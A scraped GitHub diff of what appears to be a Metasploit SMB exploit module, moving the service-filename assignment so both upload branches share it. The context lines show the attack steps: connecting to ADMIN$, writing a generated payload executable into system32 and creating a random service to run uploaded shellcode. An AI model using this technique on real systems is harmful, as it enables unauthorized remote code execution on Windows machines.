File tree Expand file tree Collapse file tree 1 file changed +2
-2
lines changed
modules/exploits/windows/smb Expand file tree Collapse file tree 1 file changed +2
-2
lines changed Original file line number Diff line number Diff line change @@ -125,6 +125,8 @@ def exploit
125
125
report_auth_info ( report_hash )
126
126
end
127
127
128
+ filename = datastore [ 'SERVICE_FILENAME' ] ? datastore [ 'SERVICE_FILENAME' ] : rand_text_alpha ( 8 ) + ".exe"
129
+
128
130
if datastore [ 'MOF_UPLOAD_METHOD' ]
129
131
# payload as exe
130
132
print_status ( "Trying wbemexec..." )
@@ -134,7 +136,6 @@ def exploit
134
136
return
135
137
end
136
138
simple . connect ( "ADMIN$" )
137
- datastore [ 'SERVICE_FILENAME' ] ? filename = datastore [ 'SERVICE_FILENAME' ] : filename = rand_text_alpha ( 8 ) + ".exe"
138
139
exe = generate_payload_exe
139
140
fd = smb_open ( "\\ system32\\ #{ filename } " , 'rwct' )
140
141
fd << exe
@@ -153,7 +154,6 @@ def exploit
153
154
# Disconnect from the ADMIN$
154
155
simple . disconnect ( "ADMIN$" )
155
156
else
156
- datastore [ 'SERVICE_FILENAME' ] ? filename = datastore [ 'SERVICE_FILENAME' ] : filename = rand_text_alpha ( 8 ) + ".exe"
157
157
servicename = rand_text_alpha ( 8 )
158
158
159
159
# Upload the shellcode to a file
You can’t perform that action at this time.
0 commit comments